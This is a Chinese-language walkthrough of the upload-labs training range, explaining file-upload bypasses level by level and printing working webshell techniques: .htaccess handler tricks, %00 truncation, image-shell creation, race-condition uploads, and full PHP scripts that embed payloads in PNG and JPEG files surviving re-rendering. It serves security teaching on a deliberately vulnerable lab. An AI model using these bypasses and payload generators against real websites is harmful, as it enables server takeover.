我们需要在github上下载项目源码。
项目地址：https://github.com/c0ny1/upload-labs
下载完解压后打开 使用说明.txt，按照上面的提示打开phpstudy
接着浏览器输入ip+Pass-01即可进入第一关靶场
闯关前需在upload_labs目录下创建一个名为upload的文件夹
第一关
前端绕过
采用前端验证，通过禁用界面JS处理，然后上传web.php文件，可绕过前端检测。
js禁用栏需按下F12，在设置标中往下找到
直接上传即可
右键得到该图片地址，选择webshell工具连接即可
测试连接成功
第二关
文件类型绕过
服务端通过检查http中包含的Content-Type字段中的值来判断上传文件是否合法的。
利用Burp抓包，将报文中的Content-Type改成允许的类型
Content-Type: image/gif（gif图像）
Content-Type: image/jpeg（jpg图像）
Content-Type: image/png（png图像）
如果出现抓包抓不到的情况，把127.0.0.1改成电脑的ip
查看数据包回显找到上传路径，用webshell连接
第三关
黑名单绕过，黑名单就是服务端明确不让上传的格式后缀，例如：rar、php、zip等。
特殊解析后缀绕过是由于黑名单过滤规则不严谨，在某些特定的情况下的后缀也能够被当作php文件进行解析，例如PHP2、php3、php4、phtml、pht等情况。
可以使用phtml、php3、php4、php5，当然前提是apache服务器，同时在配置文件夹中需要有将AddType application/x-httpd-php .php .phtml .phps .php1 .php4 .pht 这样的一段话前面的注释删除，重启phpstudy让其生效。
第四关
.htaccess文件是Apache服务器中的一个配置文件，它负责相关目录下的网页配置.通过htaccess文件，可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
我们需要使用该文件，将上传的图片解析成php文件
1.AddHandler php5-script .jpg
2.AddType application/x-httpd-php .jpg
3.Sethandler application/x-httpd-php
Sethandler 将该目录及子目录的所有文件均映射为php文件类型。
Addhandler 使用 php5-script 处理器来解析所匹配到的文件。
AddType 将特定扩展名文件映射为php文件类型。
第五关
大小写绕过
后缀大小写是通过服务端未将后缀进行统一的格式转换，导致可以上传PHP的文件，同时由于Windows系统对后缀大小写并不敏感，所以当在写PHP的改成Php就会被当作PHP进行解析
通过源码得知，并未对其大小进行限制，且是由于是黑名单，只限制了不可以上传的，那么的我们可以对php后缀进行大小写变形，例如：PHP、Php、pHp等
第六关
空格绕过
空格绕过其实就是利用了Windows对文件和文件名的限制，当将空格放在结尾的时候，就会触发操作系统的命名规范问题，所以在生成文件的时候，添加在结尾的空格就会被去除。
通过源码发现并未对空格进行限制，那么我们可以在后缀添加一个空格进行绕过，这里就需要使用到BP进行抓包，对其进行修改，然后再进行上传。
通过修改后上传到对方服务器的时候，服务器会自动对后面的空格清除，就实现了绕过。
第七关
点绕过
其实点绕过和空格绕过是一样的，都是利用操作系统的特性来进行解析绕过。具体可以看空格绕过的解释。
第八关
.::$$DATA绕过
在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名，且保持::$DATA之前的文件名，他的目的就是不检查后缀名
第九关
通过源码发现本关之前所有的绕过思路都被过滤了，但是通过源码发现，所有的过滤都是一次的，并未对其进行循环过滤。也就是说源码中提到的删除空格，删除点都是只删除一次，那么可以在数据包中将php后缀添加. .，形成.php. .，由于只验证一次，所以删除一个点和一个空格后就不在删除了。
第十关
双后缀名绕过
配合解析漏洞就是利用文件上传漏洞和相关的解析漏洞进行结合完成攻击，比如配合iis、nginx、apache、tomcat的解析漏洞得到上传漏洞的实现。
服务端可能存在将后缀替换为空的情况，但是这就存在一种可能就是在编辑过滤的时候只过滤了一次，所以就出现了可以通过双写就绕过的可能。
第十一关
白名单绕过
白名单就是服务端明确可以上传的格式后缀，例如：jpg、png、jpeg等。当服务器使用白名单方式时，我们用到%00截断
当 PHP 在处理文件名或路径时，如果遇到 URL 编码的 %00，它会被解释为一个空字节（ASCII 值为 0）。在php5.3以前，PHP 会将这个空字节转换为 \000 的形式。
而恰恰在php5.3以前，文件名出现\000,会导致文件名被截断，只保留%00之前的部分。这样的情况可能会导致文件被保存到一个意外的位置，从而产生安全风险
这是因为php语言的底层是c语言，而\0在c语言中是字符串的结束符，所以导致00截断的发生
第十二关
本关接受值从get变成了post，它两的区别就是get会自行解码，而post不会解码，所以需要对%00进行解码。在这一关我们就需要在web.php后面加一个占位符，将其16进制改为00，这样控制符就出现了，最后在上传文件的时候就会触发\00截断
选择hex，找到文件名的位置，修改25编码为00，对应%，70对应p
完成后发送即可
第十三关
二次渲染及文件头检测绕过
图片的格式在防护中通常是不会使用后缀进行判断的依据，文件头是文件开头的一段二进制码，不同类型的图片也就会有不同的二进制头
二次渲染就是在我们上传的图片后，网站会对图片进行二次处理，比如对图片的尺寸、格式、以及网站对图片进行定义的一些要求等进行处理，并且服务器会对里面的内容进行二次替换更新，在处理完后，会生成一个合规的图片在网站上显示出来。
制作图片马，就是在一张图片中写上我们的一句话木马，然后利用php的文件包含特性，可以将我们的图片以php进行解析
先找一张图片，再创建一个php的一句话木马
其次就是使用copy X.png /b + 1.php /a x.png
上传
进入页面
构造的URL：192.168.101.16/upload-labs/include.php?file=http://192.168.101.16/upload-labs/upload/返回值.png
之后就是成功访问。其他格式的图片方法一样流程操作
第十四关
突破gatimagesize
getimagesize函数是用于获取图像大小及相关信息，成功返回一个数组，失败则返回false产生一条e_warning级的错误信息。
通过对图片及代码进行合成图片马，这个时候getimagesize函数既可以获取图片信息，文件后缀php也能够被解析成脚本文件，从而绕过getimagesize函数的限制。
本关存有getimagesize函数，这个函数的意思是：会对目标文件的16进制去进行一个读取，去读取头几个字符串是不是符合图片的要求的。
使用办法和第十三关是一样的，前提都是需要存在相关的漏洞。
第十五关
突破exif_imagetype
服务器exit_imagetype()函数检测上传图片类型是否为白名单图片格式来验证上传文件合法性。可以通过制作图片马绕过，再配合文件包含漏洞解析文件来获取服务器配置信息。
exif_imagetype()读取一个图像的第一个字节并检查其后缀名。
返回值与getimage()函数返回的索引2相同，但是速度比getimage快得多。需要开启php_exif模块。
所以还是可以用第十四关的图片马绕过，并使用文件包含漏洞解析图片马
第十六关
这一关就没有前面几关简单了，他是会使用imagecreatefromjpeg()函数将我们的图片打散进行二次渲染，这就会导致我们的一句话木马消失，所以我们就要想办法在他没有打散的对方将我们的一句话写进去
首先，我们先制作一个gif的图片马
然后我们进行上传，然后下载下来查看我们的图片马的一句话还在不在，并且和原图马进行比较，看看哪块没有打散，那么在没打散的地方写入一句话
在010软件进行比对，可以看到我们打散后的图片的一句话消失了
接着就选择在没有被打乱的地方重新写入一句话木马再上传一次，后续操作和前几关类似
相对于gif格式的图片，png的二次渲染的绕过并不能像gif那样简单.
直接使用代码生成一个拥有一句话木马的图片
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>直接运行生成一个图片马，打开可以看到是有我们的一句话木马的
直接上传即可
jpg格式的就和上面的不同了，首先先随便上传一个jpg图片，然后下载下来
<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = "<?=phpinfo();?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>然后在cmd下使用这条命令，将上传的图片和我们上面的代码文件放在一块生成新的jpg文件
php 2.php web.jpg最后上传生成的jpg图片
第十七关
条件竞争
条件竞争就是在源代码中是存在校验的，但是校验是在文件上传后，才开始校验，也就是文件先上传至服务器中，然后服务器会对该文件进行校验，当符合的时候则会对文件进行重命名，当文件不符合要求的时候就对将文件进行删除。
而我们则需要在服务器对文件删除前进行访问，由于文件在访问过程中，服务器是无法删除的，所以就可以利用这个节点实现条件竞争。
分析关卡代码，可以看到他的逻辑是先对文件进行了上传操作，然后在判断文件的扩展名在不在白名单中，如若在，进行重命名。不在则对其进行删除。
也就是说如果我们上传php文件，他会删除我们上传的木马。
这么看来如果我们还是上传一个图片马的话，网站依旧存在文件包含漏洞我们还是可以进行利用。但是如果没有文件包含漏洞的话，我们就只能上传一个php木马来解析运行了。
先上传再删除，在上传到删除之间这几十毫秒之内我们的文件还是在的，我们就可以访问我们上传的文件。这种就就叫条件竞争漏洞(时间竞争漏洞)，这道题干好符合条件我们就利用时间竞争来做
假设这一题 没有文件包含漏洞的话，那我们只要上传php木马就会被删除，那还怎么搞。
要知道代码在执行的时候也是需要时间的，尽管这个时间特别短，只要我们能利用住，最会成功的。如果我们能在上传的一句话被删除之前访问不就成了。这个也就叫做条件竞争上传绕过。
我们可以利用burp多线程发包，然后不断在浏览器访问我们的webshell，会有一瞬间的访问成功。
我们可以将一句话写成下面这句：
<?php file_put_contents('../web.php', '<?php phpinfo(); ?>'); ?>这句话的意思是在上传文件的上一级目录生成我们的木马，写入的内容就是后边的phpinfo
我们要多次上传，读取到文件才能执行我们的文件，在这期间他会不断删除我们的文件，所以我们要竞争
用burp起两个进程抓包之后使用Intruder一个多次上传，并且一个多次请求刷新，如果我们后写的木马执行说明成功
post多次发，get多次请求
看get那里，出现200明显是访问到了
后续操作就是webshell连接
第十八关
服务器先是将文件后缀跟白名单做了对比，然后检查了文件大小以及文件是否已经存在。文件上传之后又对其进行了重命名。
这么看来的话，php是不能上传了，只能上传图片马了，而且需要在图片马没有被重命名之前访问它。要让图片马能够执行还要配合其他漏洞，比如文件包含，apache解析漏洞等。
这里还是将前一关的代码插入图片作出图片马。然后通过文件包含去访问该图片马。
上传之后我们进行抓包,之后和十七关一样，一边上传一边执行图片吗
第十九关
直接上传php文件抓包发现文件名被改成服务器自行定义的
我们交换后缀名并添加字符
成功上传
第二十关
将数据包改为以下格式
成功
Comments NOTHING